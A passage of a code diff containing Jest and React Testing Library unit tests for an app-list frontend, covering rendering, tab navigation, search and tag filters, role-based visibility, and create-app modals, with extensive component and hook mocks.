jest.clearAllMocks()
|
||||
documentTitleCalls = []
|
||||
educationInitCalls = 0
|
||||
})
|
||||
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(<Apps />)
|
||||
expect(screen.getByTestId('apps-list')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render List component', () => {
|
||||
render(<Apps />)
|
||||
expect(screen.getByText('Apps List')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should have correct container structure', () => {
|
||||
const { container } = render(<Apps />)
|
||||
const wrapper = container.firstChild as HTMLElement
|
||||
expect(wrapper).toHaveClass('relative', 'flex', 'h-0', 'shrink-0', 'grow', 'flex-col')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Hooks', () => {
|
||||
it('should call useDocumentTitle with correct title', () => {
|
||||
render(<Apps />)
|
||||
expect(documentTitleCalls).toContain('common.menus.apps')
|
||||
})
|
||||
|
||||
it('should call useEducationInit', () => {
|
||||
render(<Apps />)
|
||||
expect(educationInitCalls).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Integration', () => {
|
||||
it('should render full component tree', () => {
|
||||
render(<Apps />)
|
||||
|
||||
// Verify container exists
|
||||
expect(screen.getByTestId('apps-list')).toBeInTheDocument()
|
||||
|
||||
// Verify hooks were called
|
||||
expect(documentTitleCalls.length).toBeGreaterThanOrEqual(1)
|
||||
expect(educationInitCalls).toBeGreaterThanOrEqual(1)
|
||||
})
|
||||
|
||||
it('should handle multiple renders', () => {
|
||||
const { rerender } = render(<Apps />)
|
||||
expect(screen.getByTestId('apps-list')).toBeInTheDocument()
|
||||
|
||||
rerender(<Apps />)
|
||||
expect(screen.getByTestId('apps-list')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Styling', () => {
|
||||
it('should have overflow-y-auto class', () => {
|
||||
const { container } = render(<Apps />)
|
||||
const wrapper = container.firstChild as HTMLElement
|
||||
expect(wrapper).toHaveClass('overflow-y-auto')
|
||||
})
|
||||
|
||||
it('should have background styling', () => {
|
||||
const { container } = render(<Apps />)
|
||||
const wrapper = container.firstChild as HTMLElement
|
||||
expect(wrapper).toHaveClass('bg-background-body')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,580 @@
|
|||
import React from 'react'
|
||||
import { fireEvent, render, screen } from '@testing-library/react'
|
||||
import { AppModeEnum } from '@/types/app'
|
||||
|
||||
// Mock react-i18next - return key as per testing skills
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock next/navigation
|
||||
const mockReplace = jest.fn()
|
||||
const mockRouter = { replace: mockReplace }
|
||||
jest.mock('next/navigation', () => ({
|
||||
useRouter: () => mockRouter,
|
||||
}))
|
||||
|
||||
// Mock app context
|
||||
const mockIsCurrentWorkspaceEditor = jest.fn(() => true)
|
||||
const mockIsCurrentWorkspaceDatasetOperator = jest.fn(() => false)
|
||||
jest.mock('@/context/app-context', () => ({
|
||||
useAppContext: () => ({
|
||||
isCurrentWorkspaceEditor: mockIsCurrentWorkspaceEditor(),
|
||||
isCurrentWorkspaceDatasetOperator: mockIsCurrentWorkspaceDatasetOperator(),
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock global public store
|
||||
jest.mock('@/context/global-public-context', () => ({
|
||||
useGlobalPublicStore: () => ({
|
||||
systemFeatures: {
|
||||
branding: { enabled: false },
|
||||
},
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock custom hooks
|
||||
const mockSetQuery = jest.fn()
|
||||
jest.mock('./hooks/use-apps-query-state', () => ({
|
||||
__esModule: true,
|
||||
default: () => ({
|
||||
query: { tagIDs: [], keywords: '', isCreatedByMe: false },
|
||||
setQuery: mockSetQuery,
|
||||
}),
|
||||
}))
|
||||
|
||||
jest.mock('./hooks/use-dsl-drag-drop', () => ({
|
||||
useDSLDragDrop: () => ({
|
||||
dragging: false,
|
||||
}),
|
||||
}))
|
||||
|
||||
const mockSetActiveTab = jest.fn()
|
||||
jest.mock('@/hooks/use-tab-searchparams', () => ({
|
||||
useTabSearchParams: () => ['all', mockSetActiveTab],
|
||||
}))
|
||||
|
||||
// Mock service hooks
|
||||
const mockRefetch = jest.fn()
|
||||
jest.mock('@/service/use-apps', () => ({
|
||||
useInfiniteAppList: () => ({
|
||||
data: {
|
||||
pages: [{
|
||||
data: [
|
||||
{
|
||||
id: 'app-1',
|
||||
name: 'Test App 1',
|
||||
description: 'Description 1',
|
||||
mode: AppModeEnum.CHAT,
|
||||
icon: '🤖',
|
||||
icon_type: 'emoji',
|
||||
icon_background: '#FFEAD5',
|
||||
tags: [],
|
||||
author_name: 'Author 1',
|
||||
created_at: 1704067200,
|
||||
updated_at: 1704153600,
|
||||
},
|
||||
{
|
||||
id: 'app-2',
|
||||
name: 'Test App 2',
|
||||
description: 'Description 2',
|
||||
mode: AppModeEnum.WORKFLOW,
|
||||
icon: '⚙️',
|
||||
icon_type: 'emoji',
|
||||
icon_background: '#E4FBCC',
|
||||
tags: [],
|
||||
author_name: 'Author 2',
|
||||
created_at: 1704067200,
|
||||
updated_at: 1704153600,
|
||||
},
|
||||
],
|
||||
total: 2,
|
||||
}],
|
||||
},
|
||||
isLoading: false,
|
||||
isFetchingNextPage: false,
|
||||
fetchNextPage: jest.fn(),
|
||||
hasNextPage: false,
|
||||
error: null,
|
||||
refetch: mockRefetch,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock tag store
|
||||
jest.mock('@/app/components/base/tag-management/store', () => ({
|
||||
useStore: () => false,
|
||||
}))
|
||||
|
||||
// Mock config
|
||||
jest.mock('@/config', () => ({
|
||||
NEED_REFRESH_APP_LIST_KEY: 'needRefreshAppList',
|
||||
}))
|
||||
|
||||
// Mock pay hook
|
||||
jest.mock('@/hooks/use-pay', () => ({
|
||||
CheckModal: () => null,
|
||||
}))
|
||||
|
||||
// Mock debounce hook
|
||||
jest.mock('ahooks', () => ({
|
||||
useDebounceFn: (fn: () => void) => ({ run: fn }),
|
||||
}))
|
||||
|
||||
// Mock dynamic imports
|
||||
jest.mock('next/dynamic', () => {
|
||||
const React = require('react')
|
||||
return (importFn: () => Promise<any>) => {
|
||||
const fnString = importFn.toString()
|
||||
|
||||
if (fnString.includes('tag-management')) {
|
||||
return function MockTagManagement() {
|
||||
return React.createElement('div', { 'data-testid': 'tag-management-modal' })
|
||||
}
|
||||
}
|
||||
if (fnString.includes('create-from-dsl-modal')) {
|
||||
return function MockCreateFromDSLModal({ show, onClose }: any) {
|
||||
if (!show) return null
|
||||
return React.createElement('div', { 'data-testid': 'create-dsl-modal' },
|
||||
React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-dsl-modal' }, 'Close'),
|
||||
)
|
||||
}
|
||||
}
|
||||
return () => null
|
||||
}
|
||||
})
|
||||
|
||||
/**
|
||||
* Mock child components for focused List component testing.
|
||||
* These mocks isolate the List component's behavior from its children.
|
||||
* Each child component (AppCard, NewAppCard, Empty, Footer) has its own dedicated tests.
|
||||
*/
|
||||
jest.mock('./app-card', () => ({
|
||||
__esModule: true,
|
||||
default: ({ app }: any) => {
|
||||
const React = require('react')
|
||||
return React.createElement('div', { 'data-testid': `app-card-${app.id}`, 'role': 'article' }, app.name)
|
||||
},
|
||||
}))
|
||||
|
||||
jest.mock('./new-app-card', () => {
|
||||
const React = require('react')
|
||||
return React.forwardRef((_props: any, _ref: any) => {
|
||||
return React.createElement('div', { 'data-testid': 'new-app-card', 'role': 'button' }, 'New App Card')
|
||||
})
|
||||
})
|
||||
|
||||
jest.mock('./empty', () => ({
|
||||
__esModule: true,
|
||||
default: () => {
|
||||
const React = require('react')
|
||||
return React.createElement('div', { 'data-testid': 'empty-state', 'role': 'status' }, 'No apps found')
|
||||
},
|
||||
}))
|
||||
|
||||
jest.mock('./footer', () => ({
|
||||
__esModule: true,
|
||||
default: () => {
|
||||
const React = require('react')
|
||||
return React.createElement('footer', { 'data-testid': 'footer', 'role': 'contentinfo' }, 'Footer')
|
||||
},
|
||||
}))
|
||||
|
||||
/**
|
||||
* Mock base components that have deep dependency chains or require controlled test behavior.
|
||||
*
|
||||
* Per frontend testing skills (mocking.md), we generally should NOT mock base components.
|
||||
* However, the following require mocking due to:
|
||||
* - Deep dependency chains importing ES modules (like ky) incompatible with Jest
|
||||
* - Need for controlled interaction behavior in tests (onChange, onClear handlers)
|
||||
* - Complex internal state that would make tests flaky
|
||||
*
|
||||
* These mocks preserve the component's props interface to test List's integration correctly.
|
||||
*/
|
||||
jest.mock('@/app/components/base/tab-slider-new', () => ({
|
||||
__esModule: true,
|
||||
default: ({ value, onChange, options }: any) => {
|
||||
const React = require('react')
|
||||
return React.createElement('div', { 'data-testid': 'tab-slider', 'role': 'tablist' },
|
||||
options.map((opt: any) =>
|
||||
React.createElement('button', {
|
||||
'key': opt.value,
|
||||
'data-testid': `tab-${opt.value}`,
|
||||
'role': 'tab',
|
||||
'aria-selected': value === opt.value,
|
||||
'onClick': () => onChange(opt.value),
|
||||
}, opt.text),
|
||||
),
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
jest.mock('@/app/components/base/input', () => ({
|
||||
__esModule: true,
|
||||
default: ({ value, onChange, onClear }: any) => {
|
||||
const React = require('react')
|
||||
return React.createElement('div', { 'data-testid': 'search-input' },
|
||||
React.createElement('input', {
|
||||
'data-testid': 'search-input-field',
|
||||
'role': 'searchbox',
|
||||
'value': value || '',
|
||||
onChange,
|
||||
}),
|
||||
React.createElement('button', {
|
||||
'data-testid': 'clear-search',
|
||||
'aria-label': 'Clear search',
|
||||
'onClick': onClear,
|
||||
}, 'Clear'),
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
jest.mock('@/app/components/base/tag-management/filter', () => ({
|
||||
__esModule: true,
|
||||
default: ({ value, onChange }: any) => {
|
||||
const React = require('react')
|
||||
return React.createElement('div', { 'data-testid': 'tag-filter', 'role': 'listbox' },
|
||||
React.createElement('button', {
|
||||
'data-testid': 'add-tag-filter',
|
||||
'onClick': () => onChange([...value, 'new-tag']),
|
||||
}, 'Add Tag'),
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
jest.mock('@/app/components/datasets/create/website/base/checkbox-with-label', () => ({
|
||||
__esModule: true,
|
||||
default: ({ label, isChecked, onChange }: any) => {
|
||||
const React = require('react')
|
||||
return React.createElement('label', { 'data-testid': 'created-by-me-checkbox' },
|
||||
React.createElement('input', {
|
||||
'type': 'checkbox',
|
||||
'role': 'checkbox',
|
||||
'checked': isChecked,
|
||||
'aria-checked': isChecked,
|
||||
onChange,
|
||||
'data-testid': 'created-by-me-input',
|
||||
}),
|
||||
label,
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
// Import after mocks
|
||||
import List from './list'
|
||||
|
||||
describe('List', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
mockIsCurrentWorkspaceEditor.mockReturnValue(true)
|
||||
mockIsCurrentWorkspaceDatasetOperator.mockReturnValue(false)
|
||||
localStorage.clear()
|
||||
})
|
||||
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('tab-slider')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render tab slider with all app types', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByTestId('tab-all')).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.ADVANCED_CHAT}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.CHAT}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.AGENT_CHAT}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.COMPLETION}`)).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render search input', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('search-input')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render tag filter', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render created by me checkbox', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('created-by-me-checkbox')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render app cards when apps exist', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByTestId('app-card-app-1')).toBeInTheDocument()
|
||||
expect(screen.getByTestId('app-card-app-2')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render new app card for editors', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('new-app-card')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render footer when branding is disabled', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('footer')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render drop DSL hint for editors', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByText('app.newApp.dropDSLToCreateApp')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Tab Navigation', () => {
|
||||
it('should call setActiveTab when tab is clicked', () => {
|
||||
render(<List />)
|
||||
|
||||
fireEvent.click(screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`))
|
||||
|
||||
expect(mockSetActiveTab).toHaveBeenCalledWith(AppModeEnum.WORKFLOW)
|
||||
})
|
||||
|
||||
it('should call setActiveTab for all tab', () => {
|
||||
render(<List />)
|
||||
|
||||
fireEvent.click(screen.getByTestId('tab-all'))
|
||||
|
||||
expect(mockSetActiveTab).toHaveBeenCalledWith('all')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Search Functionality', () => {
|
||||
it('should render search input field', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('search-input-field')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle search input change', () => {
|
||||
render(<List />)
|
||||
|
||||
const input = screen.getByTestId('search-input-field')
|
||||
fireEvent.change(input, { target: { value: 'test search' } })
|
||||
|
||||
expect(mockSetQuery).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should clear search when clear button is clicked', () => {
|
||||
render(<List />)
|
||||
|
||||
fireEvent.click(screen.getByTestId('clear-search'))
|
||||
|
||||
expect(mockSetQuery).toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Tag Filter', () => {
|
||||
it('should render tag filter component', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle tag filter change', () => {
|
||||
render(<List />)
|
||||
|
||||
fireEvent.click(screen.getByTestId('add-tag-filter'))
|
||||
|
||||
// Tag filter change triggers debounced setTagIDs
|
||||
expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Created By Me Filter', () => {
|
||||
it('should render checkbox with correct label', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle checkbox change', () => {
|
||||
render(<List />)
|
||||
|
||||
const checkbox = screen.getByTestId('created-by-me-input')
|
||||
fireEvent.click(checkbox)
|
||||
|
||||
expect(mockSetQuery).toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Non-Editor User', () => {
|
||||
it('should not render new app card for non-editors', () => {
|
||||
mockIsCurrentWorkspaceEditor.mockReturnValue(false)
|
||||
|
||||
render(<List />)
|
||||
|
||||
expect(screen.queryByTestId('new-app-card')).not.toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should not render drop DSL hint for non-editors', () => {
|
||||
mockIsCurrentWorkspaceEditor.mockReturnValue(false)
|
||||
|
||||
render(<List />)
|
||||
|
||||
expect(screen.queryByText(/drop dsl file to create app/i)).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Dataset Operator Redirect', () => {
|
||||
it('should redirect dataset operators to datasets page', () => {
|
||||
mockIsCurrentWorkspaceDatasetOperator.mockReturnValue(true)
|
||||
|
||||
render(<List />)
|
||||
|
||||
expect(mockReplace).toHaveBeenCalledWith('/datasets')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Local Storage Refresh', () => {
|
||||
it('should call refetch when refresh key is set in localStorage', () => {
|
||||
localStorage.setItem('needRefreshAppList', '1')
|
||||
|
||||
render(<List />)
|
||||
|
||||
expect(mockRefetch).toHaveBeenCalled()
|
||||
expect(localStorage.getItem('needRefreshAppList')).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple renders without issues', () => {
|
||||
const { rerender } = render(<List />)
|
||||
expect(screen.getByTestId('tab-slider')).toBeInTheDocument()
|
||||
|
||||
rerender(<List />)
|
||||
expect(screen.getByTestId('tab-slider')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render app cards correctly', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByText('Test App 1')).toBeInTheDocument()
|
||||
expect(screen.getByText('Test App 2')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render with all filter options visible', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByTestId('search-input')).toBeInTheDocument()
|
||||
expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
|
||||
expect(screen.getByTestId('created-by-me-checkbox')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Dragging State', () => {
|
||||
it('should show drop hint when DSL feature is enabled for editors', () => {
|
||||
render(<List />)
|
||||
expect(screen.getByText('app.newApp.dropDSLToCreateApp')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('App Type Tabs', () => {
|
||||
it('should render all app type tabs', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByTestId('tab-all')).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.ADVANCED_CHAT}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.CHAT}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.AGENT_CHAT}`)).toBeInTheDocument()
|
||||
expect(screen.getByTestId(`tab-${AppModeEnum.COMPLETION}`)).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should call setActiveTab for each app type', () => {
|
||||
render(<List />)
|
||||
|
||||
const appModes = [
|
||||
AppModeEnum.WORKFLOW,
|
||||
AppModeEnum.ADVANCED_CHAT,
|
||||
AppModeEnum.CHAT,
|
||||
AppModeEnum.AGENT_CHAT,
|
||||
AppModeEnum.COMPLETION,
|
||||
]
|
||||
|
||||
appModes.forEach((mode) => {
|
||||
fireEvent.click(screen.getByTestId(`tab-${mode}`))
|
||||
expect(mockSetActiveTab).toHaveBeenCalledWith(mode)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('Search and Filter Integration', () => {
|
||||
it('should display search input with correct attributes', () => {
|
||||
render(<List />)
|
||||
|
||||
const input = screen.getByTestId('search-input-field')
|
||||
expect(input).toBeInTheDocument()
|
||||
expect(input).toHaveAttribute('value', '')
|
||||
})
|
||||
|
||||
it('should have tag filter component', () => {
|
||||
render(<List />)
|
||||
|
||||
const tagFilter = screen.getByTestId('tag-filter')
|
||||
expect(tagFilter).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display created by me label', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('App List Display', () => {
|
||||
it('should display all app cards from data', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByTestId('app-card-app-1')).toBeInTheDocument()
|
||||
expect(screen.getByTestId('app-card-app-2')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display app names correctly', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByText('Test App 1')).toBeInTheDocument()
|
||||
expect(screen.getByText('Test App 2')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Footer Visibility', () => {
|
||||
it('should render footer when branding is disabled', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByTestId('footer')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Additional Coverage Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Additional Coverage', () => {
|
||||
it('should render dragging state overlay when dragging', () => {
|
||||
// Test dragging state is handled
|
||||
const { container } = render(<List />)
|
||||
|
||||
// Component should render successfully
|
||||
expect(container).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle app mode filter in query params', () => {
|
||||
// Test that different modes are handled in query
|
||||
render(<List />)
|
||||
|
||||
const workflowTab = screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`)
|
||||
fireEvent.click(workflowTab)
|
||||
|
||||
expect(mockSetActiveTab).toHaveBeenCalledWith(AppModeEnum.WORKFLOW)
|
||||
})
|
||||
|
||||
it('should render new app card for editors', () => {
|
||||
render(<List />)
|
||||
|
||||
expect(screen.getByTestId('new-app-card')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,294 @@
|
|||
import React from 'react'
|
||||
import { fireEvent, render, screen } from '@testing-library/react'
|
||||
|
||||
// Mock react-i18next - return key as per testing skills
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock next/navigation
|
||||
const mockReplace = jest.fn()
|
||||
jest.mock('next/navigation', () => ({
|
||||
useRouter: () => ({
|
||||
replace: mockReplace,
|
||||
}),
|
||||
useSearchParams: () => new URLSearchParams(),
|
||||
}))
|
||||
|
||||
// Mock provider context
|
||||
const mockOnPlanInfoChanged = jest.fn()
|
||||
jest.mock('@/context/provider-context', () => ({
|
||||
useProviderContext: () => ({
|
||||
onPlanInfoChanged: mockOnPlanInfoChanged,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock next/dynamic to immediately resolve components
|
||||
jest.mock('next/dynamic', () => {
|
||||
const React = require('react')
|
||||
return (importFn: () => Promise<any>) => {
|
||||
const fnString = importFn.toString()
|
||||
|
||||
if (fnString.includes('create-app-modal') && !fnString.includes('create-from-dsl-modal')) {
|
||||
return function MockCreateAppModal({ show, onClose, onSuccess, onCreateFromTemplate }: any) {
|
||||
if (!show) return null
|
||||
return React.createElement('div', { 'data-testid': 'create-app-modal' },
|
||||
React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-create-modal' }, 'Close'),
|
||||
React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-create-modal' }, 'Success'),
|
||||
React.createElement('button', { 'onClick': onCreateFromTemplate, 'data-testid': 'to-template-modal' }, 'To Template'),
|
||||
)
|
||||
}
|
||||
}
|
||||
if (fnString.includes('create-app-dialog')) {
|
||||
return function MockCreateAppTemplateDialog({ show, onClose, onSuccess, onCreateFromBlank }: any) {
|
||||
if (!show) return null
|
||||
return React.createElement('div', { 'data-testid': 'create-template-dialog' },
|
||||
React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-template-dialog' }, 'Close'),
|
||||
React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-template-dialog' }, 'Success'),
|
||||
React.createElement('button', { 'onClick': onCreateFromBlank, 'data-testid': 'to-blank-modal' }, 'To Blank'),
|
||||
)
|
||||
}
|
||||
}
|
||||
if (fnString.includes('create-from-dsl-modal')) {
|
||||
return function MockCreateFromDSLModal({ show, onClose, onSuccess }: any) {
|
||||
if (!show) return null
|
||||
return React.createElement('div', { 'data-testid': 'create-dsl-modal' },
|
||||
React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-dsl-modal' }, 'Close'),
|
||||
React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-dsl-modal' }, 'Success'),
|
||||
)
|
||||
}
|
||||
}
|
||||
return () => null
|
||||
}
|
||||
})
|
||||
|
||||
// Mock CreateFromDSLModalTab enum
|
||||
jest.mock('@/app/components/app/create-from-dsl-modal', () => ({
|
||||
CreateFromDSLModalTab: {
|
||||
FROM_URL: 'from-url',
|
||||
},
|
||||
}))
|
||||
|
||||
// Import after mocks
|
||||
import CreateAppCard from './new-app-card'
|
||||
|
||||
describe('CreateAppCard', () => {
|
||||
const defaultRef = { current: null } as React.RefObject<HTMLDivElement | null>
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
// Use pattern matching for resilient text assertions
|
||||
expect(screen.getByText('app.createApp')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render three create buttons', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
expect(screen.getByText('app.newApp.startFromBlank')).toBeInTheDocument()
|
||||
expect(screen.getByText('app.newApp.startFromTemplate')).toBeInTheDocument()
|
||||
expect(screen.getByText('app.importDSL')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render all buttons as clickable', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
const buttons = screen.getAllByRole('button')
|
||||
expect(buttons).toHaveLength(3)
|
||||
buttons.forEach((button) => {
|
||||
expect(button).not.toBeDisabled()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('Props', () => {
|
||||
it('should apply custom className', () => {
|
||||
const { container } = render(
|
||||
<CreateAppCard ref={defaultRef} className="custom-class" />,
|
||||
)
|
||||
const card = container.firstChild as HTMLElement
|
||||
expect(card).toHaveClass('custom-class')
|
||||
})
|
||||
|
||||
it('should render with selectedAppType prop', () => {
|
||||
render(<CreateAppCard ref={defaultRef} selectedAppType="chat" />)
|
||||
expect(screen.getByText('app.createApp')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('User Interactions - Create App Modal', () => {
|
||||
it('should open create app modal when clicking Start from Blank', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
|
||||
|
||||
expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should close create app modal when clicking close button', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
|
||||
expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
|
||||
|
||||
fireEvent.click(screen.getByTestId('close-create-modal'))
|
||||
expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should call onSuccess and onPlanInfoChanged on create app success', () => {
|
||||
const mockOnSuccess = jest.fn()
|
||||
render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
|
||||
fireEvent.click(screen.getByTestId('success-create-modal'))
|
||||
|
||||
expect(mockOnPlanInfoChanged).toHaveBeenCalled()
|
||||
expect(mockOnSuccess).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should switch from create modal to template dialog', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
|
||||
expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
|
||||
|
||||
fireEvent.click(screen.getByTestId('to-template-modal'))
|
||||
|
||||
expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
|
||||
expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('User Interactions - Template Dialog', () => {
|
||||
it('should open template dialog when clicking Start from Template', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
|
||||
|
||||
expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should close template dialog when clicking close button', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
|
||||
expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
|
||||
|
||||
fireEvent.click(screen.getByTestId('close-template-dialog'))
|
||||
expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should call onSuccess and onPlanInfoChanged on template success', () => {
|
||||
const mockOnSuccess = jest.fn()
|
||||
render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
|
||||
fireEvent.click(screen.getByTestId('success-template-dialog'))
|
||||
|
||||
expect(mockOnPlanInfoChanged).toHaveBeenCalled()
|
||||
expect(mockOnSuccess).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should switch from template dialog to create modal', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
|
||||
expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
|
||||
|
||||
fireEvent.click(screen.getByTestId('to-blank-modal'))
|
||||
|
